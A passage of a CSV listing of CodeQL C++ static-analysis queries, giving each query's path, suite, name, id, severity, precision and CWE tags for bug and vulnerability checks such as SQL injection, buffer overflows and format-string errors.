type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 +ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,code-scanning,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 +ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,code-scanning,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,code-scanning,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,code-scanning,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,code-scanning,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,code-scanning,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 +ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,code-scanning,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 +ql\cpp\ql\src\Best Practices\BlockWithTooManyStatements.ql,security-and-quality,Block with too many statements,cpp/complex-block,problem,recommendation,high,testability readability maintainability +ql\cpp\ql\src\Best Practices\ComplexCondition.ql,security-and-quality,Complex condition,cpp/complex-condition,problem,recommendation,high,testability readability maintainability statistical non-attributable +ql\cpp\ql\src\Best Practices\Exceptions\AccidentalRethrow.ql,security-and-quality,Accidental rethrow,cpp/rethrow-no-exception,problem,warning,high,reliability correctness exceptions +ql\cpp\ql\src\Best Practices\Exceptions\CatchingByValue.ql,security-and-quality,Catching by value,cpp/catch-by-value,problem,warning,very-high,efficiency correctness exceptions +ql\cpp\ql\src\Best Practices\Exceptions\LeakyCatch.ql,security-and-quality,Leaky catch,cpp/catch-missing-free,problem,warning,high,efficiency correctness exceptions external/cwe/cwe-401 +ql\cpp\ql\src\Best Practices\Exceptions\ThrowingPointers.ql,security-and-quality,Throwing pointers,cpp/throwing-pointer,problem,warning,high,efficiency correctness exceptions +ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesParameter.ql,security-and-quality,Declaration hides parameter,cpp/declaration-hides-parameter,problem,recommendation,very-high,maintainability readability +ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesVariable.ql,security-and-quality,Declaration hides variable,cpp/declaration-hides-variable,problem,recommendation,high,maintainability readability +ql\cpp\ql\src\Best Practices\Hiding\LocalVariableHidesGlobalVariable.ql,security-and-quality,Local variable hides global variable,cpp/local-variable-hides-global-variable,problem,warning,very-high,maintainability readability +ql\cpp\ql\src\Best Practices\Likely Errors\EmptyBlock.ql,security-and-quality,Empty branch of conditional,cpp/empty-block,problem,recommendation,very-high,reliability readability +ql\cpp\ql\src\Best Practices\Likely Errors\Slicing.ql,security-and-quality,Slicing,cpp/slicing,problem,warning,high,reliability correctness types +ql\cpp\ql\src\Best Practices\RuleOfTwo.ql,security-and-quality,Inconsistent definition of copy constructor and assignment ('Rule of Two'),cpp/rule-of-two,problem,warning,high,reliability readability language-features +ql\cpp\ql\src\Best Practices\SloppyGlobal.ql,security-and-quality,Short global name,cpp/short-global-name,problem,recommendation,very-high,maintainability +ql\cpp\ql\src\Best Practices\SwitchLongCase.ql,security-and-quality,Long switch case,cpp/long-switch,problem,recommendation,high,maintainability readability +ql\cpp\ql\src\Best Practices\Unused Entities\UnusedLocals.ql,security-and-quality,Unused local variable,cpp/unused-local-variable,problem,recommendation,high,maintainability useless-code external/cwe/cwe-563 +ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticFunctions.ql,security-and-quality,Unused static function,cpp/unused-static-function,problem,recommendation,high,efficiency useless-code external/cwe/cwe-561 +ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticVariables.ql,security-and-quality,Unused static variable,cpp/unused-static-variable,problem,recommendation,high,efficiency useless-code external/cwe/cwe-563 +ql\cpp\ql\src\Best Practices\UseOfGoto.ql,security-and-quality,Use of goto,cpp/use-of-goto,problem,warning,high,maintainability readability language-features +ql\cpp\ql\src\Critical\DeadCodeGoto.ql,security-and-quality,Dead code due to goto or break statement,cpp/dead-code-goto,problem,warning,high,maintainability external/cwe/cwe-561 +ql\cpp\ql\src\Critical\LargeParameter.ql,security-and-quality,Large object passed by value,cpp/large-parameter,problem,recommendation,very-high,efficiency readability statistical non-attributable +ql\cpp\ql\src\Critical\NewArrayDeleteMismatch.ql,security-and-quality,'new[]' array freed with 'delete',cpp/new-array-delete-mismatch,problem,warning,high,reliability +ql\cpp\ql\src\Critical\NewDeleteArrayMismatch.ql,security-and-quality,'new' object freed with 'delete[]',cpp/new-delete-array-mismatch,problem,warning,high,reliability +ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-and-quality,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 +ql\cpp\ql\src\Documentation\CommentedOutCode.ql,security-and-quality,Commented-out code,cpp/commented-out-code,problem,recommendation,high,maintainability documentation +ql\cpp\ql\src\Documentation\FixmeComments.ql,security-and-quality,FIXME comment,cpp/fixme-comment,problem,recommendation,very-high,maintainability documentation external/cwe/cwe-546 +ql\cpp\ql\src\Header Cleanup\Cleanup-DuplicateIncludeGuard.ql,security-and-quality,Duplicate include guard,cpp/duplicate-include-guard,problem,error,high,reliability maintainability modularity +ql\cpp\ql\src\jsf\4.06 Pre-Processing Directives\AV Rule 32.ql,security-and-quality,Include header files only,cpp/include-non-header,problem,recommendation,high,maintainability modularity readability external/jsf +ql\cpp\ql\src\jsf\4.07 Header Files\AV Rule 35.ql,security-and-quality,Missing header guard,cpp/missing-header-guard,problem,warning,high,efficiency maintainability modularity external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 71.1.ql,security-and-quality,Virtual call from constructor or destructor,cpp/virtual-call-in-constructor,problem,warning,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 79.ql,security-and-quality,Resource not released in destructor,cpp/resource-not-released-in-destructor,problem,warning,high,efficiency readability external/cwe/cwe-404 external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 82.ql,security-and-quality,Overloaded assignment does not return 'this',cpp/assignment-does-not-return-this,problem,warning,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 88.ql,security-and-quality,Undisciplined multiple inheritance,cpp/undisciplined-multiple-inheritance,problem,recommendation,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 89.ql,security-and-quality,Inconsistent virtual inheritance,cpp/inconsistent-virtual-inheritance,problem,error,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 95.ql,security-and-quality,Redefined default parameter,cpp/redefined-default-parameter,problem,error,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 97.ql,security-and-quality,No raw arrays in interfaces,cpp/array-in-interface,problem,recommendation,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 107.ql,security-and-quality,Function declared in block,cpp/function-in-block,problem,recommendation,very-high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 114.ql,security-and-quality,Missing return statement,cpp/missing-return,problem,error,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.16 Initialization\AV Rule 145.ql,security-and-quality,Irregular enum initialization,cpp/irregular-enum-init,problem,recommendation,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.21 Operators\AV Rule 166.ql,security-and-quality,Sizeof with side effects,cpp/sizeof-side-effect,problem,recommendation,high,reliability correctness external/jsf +ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 196.ql,security-and-quality,No trivial switch statements,cpp/trivial-switch,problem,recommendation,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 197.ql,security-and-quality,Avoid floats in for loops,cpp/loop-variable-float,problem,recommendation,high,correctness reliability external/jsf +ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 201.ql,security-and-quality,For loop variable changed in body,cpp/loop-variable-changed,problem,recommendation,high,reliability readability external/jsf +ql\cpp\ql\src\Likely Bugs\AmbiguouslySignedBitField.ql,security-and-quality,Ambiguously signed bit-field member,cpp/ambiguously-signed-bit-field,problem,warning,high,reliability readability language-features external/cwe/cwe-190 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-and-quality,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BitwiseSignCheck.ql,security-and-quality,Sign check of bitwise operation,cpp/bitwise-sign-check,problem,warning,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Arithmetic\ComparisonPrecedence.ql,security-and-quality,Unclear comparison precedence,cpp/comparison-precedence,problem,warning,very-high,maintainability readability +ql\cpp\ql\src\Likely Bugs\Arithmetic\FloatComparison.ql,security-and-quality,Equality test on floating-point values,cpp/equality-on-floats,problem,recommendation,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-and-quality,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 +ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessComparison.ql,security-and-quality,Comparison result is always the same,cpp/constant-comparison,problem,warning,high,maintainability readability +ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessSelfComparison.ql,security-and-quality,Self comparison,cpp/comparison-of-identical-expressions,problem,warning,high,readability maintainability +ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-and-quality,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security +ql\cpp\ql\src\Likely Bugs\Arithmetic\UnsignedGEZero.ql,security-and-quality,Unsigned comparison to zero,cpp/unsigned-comparison-zero,problem,warning,very-high,maintainability readability +ql\cpp\ql\src\Likely Bugs\ContinueInFalseLoop.ql,security-and-quality,Continue statement that does not continue,cpp/continue-in-false-loop,problem,warning,high,correctness +ql\cpp\ql\src\Likely Bugs\Conversion\ArrayArgSizeMismatch.ql,security-and-quality,Array argument size mismatch,cpp/array-arg-size-mismatch,problem,warning,high,reliability +ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-and-quality,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 +ql\cpp\ql\src\Likely Bugs\Conversion\ImplicitDowncastFromBitfield.ql,security-and-quality,Implicit downcast from bitfield,cpp/implicit-bitfield-downcast,problem,warning,high,reliability correctness types +ql\cpp\ql\src\Likely Bugs\Conversion\LossyPointerCast.ql,security-and-quality,Lossy pointer cast,cpp/lossy-pointer-cast,problem,warning,high,reliability correctness types +ql\cpp\ql\src\Likely Bugs\Format\NonConstantFormat.ql,security-and-quality,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 +ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-and-quality,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security +ql\cpp\ql\src\Likely Bugs\Format\TooManyFormatArguments.ql,security-and-quality,Too many arguments to formatting function,cpp/too-many-format-arguments,problem,recommendation,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-and-quality,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 +ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-and-quality,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 +ql\cpp\ql\src\Likely Bugs\Likely Typos\AssignWhereCompareMeant.ql,security-and-quality,Assignment where comparison was intended,cpp/assign-where-compare-meant,problem,error,high,reliability correctness external/cwe/cwe-481 +ql\cpp\ql\src\Likely Bugs\Likely Typos\CompareWhereAssignMeant.ql,security-and-quality,Comparison where assignment was intended,cpp/compare-where-assign-meant,problem,error,high,reliability correctness external/cwe/cwe-482 +ql\cpp\ql\src\Likely Bugs\Likely Typos\DubiousNullCheck.ql,security-and-quality,Dubious NULL check,cpp/dubious-null-check,problem,warning,very-high,reliability readability +ql\cpp\ql\src\Likely Bugs\Likely Typos\ExprHasNoEffect.ql,security-and-quality,Expression has no effect,cpp/useless-expression,problem,warning,high,maintainability correctness external/cwe/cwe-561 +ql\cpp\ql\src\Likely Bugs\Likely Typos\FutileConditional.ql,security-and-quality,Futile conditional,cpp/empty-if,problem,recommendation,high,reliability readability +ql\cpp\ql\src\Likely Bugs\Likely Typos\inconsistentLoopDirection.ql,security-and-quality,Inconsistent direction of for loop,cpp/inconsistent-loop-direction,problem,error,high,correctness external/cwe/cwe-835 external/microsoft/6293 +ql\cpp\ql\src\Likely Bugs\Likely Typos\ShortCircuitBitMask.ql,security-and-quality,Short-circuiting operator applied to flag,cpp/logical-operator-applied-to-flag,problem,warning,high,reliability correctness external/cwe/cwe-480 +ql\cpp\ql\src\Likely Bugs\Likely Typos\UsingStrcpyAsBoolean.ql,security-and-quality,Use of string copy function in a condition,cpp/string-copy-return-value-as-boolean,problem,error,high,external/microsoft/C6324 correctness +ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-and-quality,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 +ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-and-quality,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security +ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnCstrOfLocalStdString.ql,security-and-quality,Return c_str of local std::string,cpp/return-c-str-of-std-string,problem,warning,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnStackAllocatedMemory.ql,security-and-quality,Returning stack-allocated memory,cpp/return-stack-allocated-memory,problem,warning,high,reliability external/cwe/cwe-825 +ql\cpp\ql\src\Likely Bugs\OO\IncorrectConstructorDelegation.ql,security-and-quality,Incorrect constructor delegation,cpp/constructor-delegation,problem,warning,high,maintainability readability language-features +ql\cpp\ql\src\Likely Bugs\OO\NonVirtualDestructorInBaseClass.ql,security-and-quality,Non-virtual destructor in base class,cpp/virtual-destructor,problem,warning,high,reliability readability language-features +ql\cpp\ql\src\Likely Bugs\OO\ThrowInDestructor.ql,security-and-quality,Exception thrown in destructor,cpp/throw-in-destructor,problem,warning,very-high,reliability readability language-features +ql\cpp\ql\src\Likely Bugs\ReturnConstType.ql,security-and-quality,Constant return type,cpp/non-member-const-no-effect,problem,warning,very-high,maintainability readability language-features +ql\cpp\ql\src\Likely Bugs\ReturnConstTypeMember.ql,security-and-quality,Constant return type on member,cpp/member-const-no-effect,problem,warning,very-high,maintainability readability language-features +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\ImplicitFunctionDeclaration.ql,security-and-quality,Implicit function declaration,cpp/implicit-function-declaration,problem,warning,high,correctness maintainability +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-and-quality,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooManyArguments.ql,security-and-quality,Call to function with extraneous arguments,cpp/futile-params,problem,warning,very-high,correctness maintainability +ql\cpp\ql\src\Likely Bugs\UseInOwnInitializer.ql,security-and-quality,Variable used in its own initializer,cpp/use-in-own-initializer,problem,warning,high,maintainability correctness +ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-and-quality,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 +ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-and-quality,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 +ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-and-quality,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-and-quality,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-and-quality,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-and-quality,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-and-quality,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 +ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-and-quality,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 +ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-and-quality,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 +ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-and-quality,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 +ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-and-quality,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-and-quality,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-and-quality,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-and-quality,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-and-quality,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 +ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-and-quality,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 +ql\cpp\ql\src\Best Practices\Likely Errors\OffsetUseBeforeRangeCheck.ql,security-and-quality,Array offset used before range check,cpp/offset-use-before-range-check,problem,warning,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-125 +ql\cpp\ql\src\Critical\OverflowStatic.ql,security-and-quality,Static array access may cause overflow,cpp/static-buffer-overflow,problem,warning,medium,reliability security external/cwe/cwe-119 external/cwe/cwe-131 +ql\cpp\ql\src\Critical\SizeCheck.ql,security-and-quality,Not enough memory allocated for pointer type,cpp/allocation-too-small,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 +ql\cpp\ql\src\Critical\SizeCheck2.ql,security-and-quality,Not enough memory allocated for array of pointer type,cpp/suspicious-allocation-size,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 +ql\cpp\ql\src\Documentation\UncommentedFunction.ql,security-and-quality,Poorly documented large function,cpp/poorly-documented-function,problem,warning,medium,maintainability documentation statistical non-attributable +ql\cpp\ql\src\jsf\4.17 Types\AV Rule 148.ql,security-and-quality,Use of integer where enum is preferred,cpp/integer-used-for-enum,problem,warning,medium,maintainability readability language-features external/jsf +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadCheckOdd.ql,security-and-quality,Bad check for oddness,cpp/incomplete-parity-check,problem,warning,medium,reliability correctness types +ql\cpp\ql\src\Likely Bugs\Conversion\LossyFunctionResultCast.ql,security-and-quality,Lossy function result cast,cpp/lossy-function-result-cast,problem,warning,medium,correctness +ql\cpp\ql\src\Likely Bugs\InconsistentCallOnResult.ql,security-and-quality,Inconsistent operation on return value,cpp/inconsistent-call-on-result,problem,warning,medium,reliability correctness statistical non-attributable external/cwe/cwe-252 +ql\cpp\ql\src\Likely Bugs\InconsistentCheckReturnNull.ql,security-and-quality,Inconsistent nullness check,cpp/inconsistent-null-check,problem,error,medium,reliability correctness statistical non-attributable external/cwe/cwe-476 +ql\cpp\ql\src\Likely Bugs\Leap Year\Adding365DaysPerYear.ql,security-and-quality,Arithmetic operation assumes 365 days per year,cpp/leap-year/adding-365-days-per-year,problem,warning,medium,leap-year correctness +ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedLeapYearAfterYearModification.ql,security-and-quality,Year field changed using an arithmetic operation without checking for leap year,cpp/leap-year/unchecked-after-arithmetic-year-modification,problem,warning,medium,leap-year correctness +ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedReturnValueForTimeFunctions.ql,security-and-quality,Unchecked return value for time conversion function,cpp/leap-year/unchecked-return-value-for-time-conversion-function,problem,warning,medium,leap-year correctness +ql\cpp\ql\src\Likely Bugs\Likely Typos\IncorrectNotOperatorUsage.ql,security-and-quality,Incorrect 'not' operator usage,cpp/incorrect-not-operator-usage,problem,warning,medium,security external/cwe/cwe-480 external/microsoft/c6317 +ql\cpp\ql\src\Likely Bugs\Likely Typos\MissingEnumCaseInSwitch.ql,security-and-quality,Missing enum case in switch,cpp/missing-case-in-switch,problem,warning,medium,reliability correctness external/cwe/cwe-478 +ql\cpp\ql\src\Likely Bugs\Memory Management\StackAddressEscapes.ql,security-and-quality,Local variable address stored in non-local memory,cpp/stack-address-escape,problem,warning,medium,reliability +ql\cpp\ql\src\Likely Bugs\Memory Management\StrncpyFlippedArgs.ql,security-and-quality,Possibly wrong buffer size in string copy,cpp/bad-strncpy-size,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 +ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousCallToStrncat.ql,security-and-quality,Potentially unsafe call to strncat,cpp/unsafe-strncat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 +ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousSizeof.ql,security-and-quality,Suspicious 'sizeof' use,cpp/suspicious-sizeof,problem,warning,medium,reliability correctness security external/cwe/cwe-467 +ql\cpp\ql\src\Likely Bugs\Memory Management\UninitializedLocal.ql,security-and-quality,Potentially uninitialized local variable,cpp/uninitialized-local,problem,warning,medium,security external/cwe/cwe-665 external/cwe/cwe-457 +ql\cpp\ql\src\Likely Bugs\Memory Management\UnsafeUseOfStrcat.ql,security-and-quality,Potentially unsafe use of strcat,cpp/unsafe-strcat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 +ql\cpp\ql\src\Likely Bugs\NestedLoopSameVar.ql,security-and-quality,Nested loops with same variable,cpp/nested-loops-with-same-variable,problem,warning,medium,maintainability correctness +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\MistypedFunctionArguments.ql,security-and-quality,Call to a function with one or more incompatible arguments,cpp/mistyped-function-arguments,problem,warning,medium,correctness maintainability +ql\cpp\ql\src\Security\CWE\CWE-022\TaintedPath.ql,security-and-quality,Uncontrolled data used in path expression,cpp/path-injection,path-problem,warning,medium,security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 +ql\cpp\ql\src\Security\CWE\CWE-114\UncontrolledProcessOperation.ql,security-and-quality,Uncontrolled process operation,cpp/uncontrolled-process-operation,path-problem,warning,medium,security external/cwe/cwe-114 +ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWrite.ql,security-and-quality,Potentially overrunning write,cpp/overrunning-write,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWriteFloat.ql,security-and-quality,Potentially overrunning write with float to string conversion,cpp/overrunning-write-with-float,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-120\UnboundedWrite.ql,security-and-quality,Unbounded write,cpp/unbounded-write,path-problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-121\UnterminatedVarargsCall.ql,security-and-quality,Unterminated variadic call,cpp/unterminated-variadic-call,problem,warning,medium,reliability security external/cwe/cwe-121 +ql\cpp\ql\src\Security\CWE\CWE-190\ArithmeticUncontrolled.ql,security-and-quality,Uncontrolled data in arithmetic expression,cpp/uncontrolled-arithmetic,path-problem,warning,medium,security external/cwe/cwe-190 external/cwe/cwe-191 +ql\cpp\ql\src\Security\CWE\CWE-290\AuthenticationBypass.ql,security-and-quality,Authentication bypass by spoofing,cpp/user-controlled-bypass,path-problem,warning,medium,security external/cwe/cwe-290 +ql\cpp\ql\src\Security\CWE\CWE-311\CleartextBufferWrite.ql,security-and-quality,Cleartext storage of sensitive information in buffer,cpp/cleartext-storage-buffer,path-problem,warning,medium,security external/cwe/cwe-312 +ql\cpp\ql\src\Security\CWE\CWE-311\CleartextFileWrite.ql,security-and-quality,Cleartext storage of sensitive information in file,cpp/cleartext-storage-file,problem,warning,medium,security external/cwe/cwe-313 +ql\cpp\ql\src\Security\CWE\CWE-313\CleartextSqliteDatabase.ql,security-and-quality,Cleartext storage of sensitive information in an SQLite database,cpp/cleartext-storage-database,path-problem,warning,medium,security external/cwe/cwe-313 +ql\cpp\ql\src\Security\CWE\CWE-327\BrokenCryptoAlgorithm.ql,security-and-quality,Use of a broken or risky cryptographic algorithm,cpp/weak-cryptographic-algorithm,problem,error,medium,security external/cwe/cwe-327 +ql\cpp\ql\src\Security\CWE\CWE-367\TOCTOUFilesystemRace.ql,security-and-quality,Time-of-check time-of-use filesystem race condition,cpp/toctou-race-condition,problem,warning,medium,security external/cwe/cwe-367 +ql\cpp\ql\src\Security\CWE\CWE-428\UnsafeCreateProcessCall.ql,security-and-quality,NULL application name with an unquoted path in call to CreateProcess,cpp/unsafe-create-process-call,problem,error,medium,security external/cwe/cwe-428 external/microsoft/C6277 +ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScaling.ql,security-and-quality,Suspicious pointer scaling,cpp/suspicious-pointer-scaling,problem,warning,medium,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScalingVoid.ql,security-and-quality,Suspicious pointer scaling to void,cpp/suspicious-pointer-scaling-void,problem,warning,medium,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-732\DoNotCreateWorldWritable.ql,security-and-quality,File created without restricting permissions,cpp/world-writable-file-creation,problem,warning,medium,security external/cwe/cwe-732 +ql\cpp\ql\src\Security\CWE\CWE-807\TaintedCondition.ql,security-and-quality,Untrusted input for a condition,cpp/tainted-permissions-check,path-problem,warning,medium,security external/cwe/cwe-807 +ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-extended,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-extended,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 +ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-extended,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 +ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-extended,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security +ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-extended,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 +ql\cpp\ql\src\Likely 